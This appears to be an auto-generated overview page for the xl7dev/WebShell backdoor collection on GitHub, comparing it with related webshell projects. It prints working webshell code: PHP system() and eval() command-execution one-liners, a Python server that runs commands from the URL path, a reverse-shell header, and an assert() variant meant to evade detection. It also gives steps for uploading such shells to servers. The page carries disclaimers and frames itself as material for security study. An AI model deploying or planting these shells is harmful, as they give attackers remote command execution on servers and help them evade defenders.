Convert Figma logo to code with AI

xl7dev logoWebShell

Webshell && Backdoor Collection

1,785
1,027
1,785
9

Top Related Projects

10,004

This is a webshell open source project

Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!

绕过专业工具检测的Webshell研究文章和免杀的Webshell

Weaponized web shell

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.

Quick Overview

xl7dev/WebShell is a GitHub repository containing a collection of webshells in various programming languages. Webshells are malicious scripts that can be uploaded to a web server to enable remote administration of the machine. This repository is intended for educational and research purposes to help security professionals understand and defend against such threats.

Pros

  • Comprehensive collection of webshells in multiple languages
  • Useful for security researchers and penetration testers to study attack vectors
  • Regularly updated with new webshell variants
  • Helps system administrators understand potential threats to their servers

Cons

  • Can be misused for malicious purposes if in the wrong hands
  • Some antivirus software may flag the repository as malicious
  • Lacks detailed documentation on the specific functionality of each webshell
  • May encourage inexperienced users to attempt unauthorized access to systems

Code Examples

Note: The following examples are simplified and for educational purposes only. Do not use these on systems you do not own or have explicit permission to test.

PHP Webshell example:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

This PHP script allows remote execution of system commands through a URL parameter.

Python Webshell example:

import os
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        command = self.path[1:]
        output = os.popen(command).read()
        self.send_response(200)
        self.end_headers()
        self.wfile.write(output.encode())

httpd = HTTPServer(('localhost', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

This Python script creates a simple HTTP server that executes system commands based on the URL path.

Getting Started

As this is not a traditional code library but a collection of scripts, there's no standard installation process. To use these webshells:

  1. Clone the repository: git clone https://github.com/xl7dev/WebShell.git
  2. Navigate to the desired webshell script
  3. Upload the script to a web server (for testing purposes only)
  4. Access the script through a web browser or send HTTP requests to interact with it

Remember that using webshells on systems without proper authorization is illegal and unethical. This repository should only be used for educational purposes in controlled environments.

Competitor Comparisons

10,004

This is a webshell open source project

Pros of webshell

  • Larger collection of webshells in various languages
  • More actively maintained with recent updates
  • Includes additional tools and resources for webshell usage

Cons of webshell

  • Less organized structure compared to WebShell
  • May contain more potentially malicious or dangerous scripts
  • Lacks detailed documentation for individual webshells

Code Comparison

WebShell (PHP example):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

webshell (PHP example):

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass'])) {
    $key=substr(md5(urldecode($_GET['pass'])),0,16);
    $_SESSION['k']=$key;
}
$key=$_SESSION['k'];
$pos=strpos($_SERVER['HTTP_USER_AGENT'],'Google');
if($pos===false){
    header("HTTP/1.0 404 Not Found");
    exit;
}

Both repositories contain collections of webshells, but webshell offers a wider variety and more recent updates. However, WebShell provides a more organized structure and potentially safer scripts. The code examples show different approaches, with WebShell focusing on simplicity and webshell incorporating more advanced features like session management and user agent checking.

Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!

Pros of php-webshells

  • Focused specifically on PHP webshells, providing a more specialized collection
  • Includes a variety of PHP-based webshells with different features and capabilities
  • Regularly updated with new contributions and improvements

Cons of php-webshells

  • Limited to PHP language, lacking diversity in supported technologies
  • Smaller repository with fewer overall webshell options
  • Less comprehensive documentation compared to WebShell

Code Comparison

php-webshells (simple-backdoor.php):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

WebShell (php/php-reverse-shell.php):

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Both repositories offer collections of webshells, with WebShell providing a broader range of languages and technologies. php-webshells focuses exclusively on PHP-based webshells, offering a more specialized but limited selection. WebShell includes more comprehensive documentation and a larger variety of options, while php-webshells benefits from regular updates and contributions specific to PHP webshells.

绕过专业工具检测的Webshell研究文章和免杀的Webshell

Pros of webshell-detect-bypass

  • Focuses specifically on bypassing detection mechanisms
  • Includes techniques for evading common web shell detection tools
  • Regularly updated with new bypass methods

Cons of webshell-detect-bypass

  • Smaller collection of web shells compared to WebShell
  • Less diverse in terms of supported languages and frameworks
  • More specialized, potentially less useful for general web shell research

Code Comparison

WebShell example (PHP):

<?php @eval($_POST['cmd']);?>

webshell-detect-bypass example (PHP):

<?php
$a = $_POST['cmd'];
@assert($a);
?>

The webshell-detect-bypass example uses assert() instead of eval() and splits the command input across multiple lines, potentially making it harder to detect.

Both repositories serve different purposes: WebShell is a comprehensive collection of various web shells, while webshell-detect-bypass focuses on techniques to evade detection. WebShell is more suitable for researchers and security professionals studying different types of web shells, whereas webshell-detect-bypass is geared towards understanding and improving detection evasion techniques.

Weaponized web shell

Pros of Weevely3

  • More actively maintained with recent updates
  • Offers a wider range of features and modules
  • Better documentation and user guides

Cons of Weevely3

  • Larger codebase, potentially more complex to use
  • Requires Python environment to run

Code Comparison

WebShell (PHP):

<?php @eval($_POST['pass']);?>

Weevely3 (Python-generated PHP):

<?php
$k="SECRET_KEY";
$kh="SECRET_KEY_HASH";
$kf="SECRET_KEY_FUNC";
$p="SECRET_PAYLOAD";
// ... (additional obfuscated code)
?>

Weevely3 generates more complex and obfuscated PHP code, making it harder to detect and remove. WebShell uses a simpler approach, which is easier to implement but also easier to identify.

Summary

Weevely3 offers a more comprehensive and actively maintained solution for web shell functionality, with better features and documentation. However, it requires a Python environment and has a more complex codebase. WebShell is simpler and easier to deploy but lacks advanced features and recent updates.

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.

Pros of AntSword

  • More actively maintained with regular updates
  • Offers a user-friendly graphical interface
  • Supports multiple languages and platforms

Cons of AntSword

  • Larger codebase, potentially more complex to understand
  • May have a steeper learning curve for beginners

Code Comparison

WebShell (PHP example):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

AntSword (JavaScript example):

module.exports = (pwd, cmd, args) => {
  return {
    _: `@eval(base64_decode("${Buffer.from(cmd).toString('base64')}"));`,
    [pwd]: args
  }
}

WebShell provides a simple, direct approach to executing commands, while AntSword uses a more sophisticated module-based structure with additional encoding. AntSword's code is part of a larger framework, offering more features and flexibility, but also increasing complexity. WebShell's simplicity makes it easier to understand and modify, but it lacks the advanced features and security measures present in AntSword.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

WebShell

This is a webshell open source project https://github.com/xl7dev/WebShell

Category

  • Aar
  • Ascx
  • Ashx
  • Asmx
  • Asp
  • Aspx
  • C
  • Cfm
  • Cgi
  • Javascript
  • Jsp
  • Jspx
  • LICENSE
  • Mysql
  • Nginx
  • Other
  • Php
  • Pl
  • README.md
  • SSH
  • Soap
  • Udp
  • WeBaCoo
  • gdog
  • icmp
  • jar
  • nodejs
  • openfire
  • osx
  • pwnginx
  • python
  • reGeorg-master
  • ruby
  • servlet
  • sh
  • war
  • xml
  • xssshell

Author: 小乐天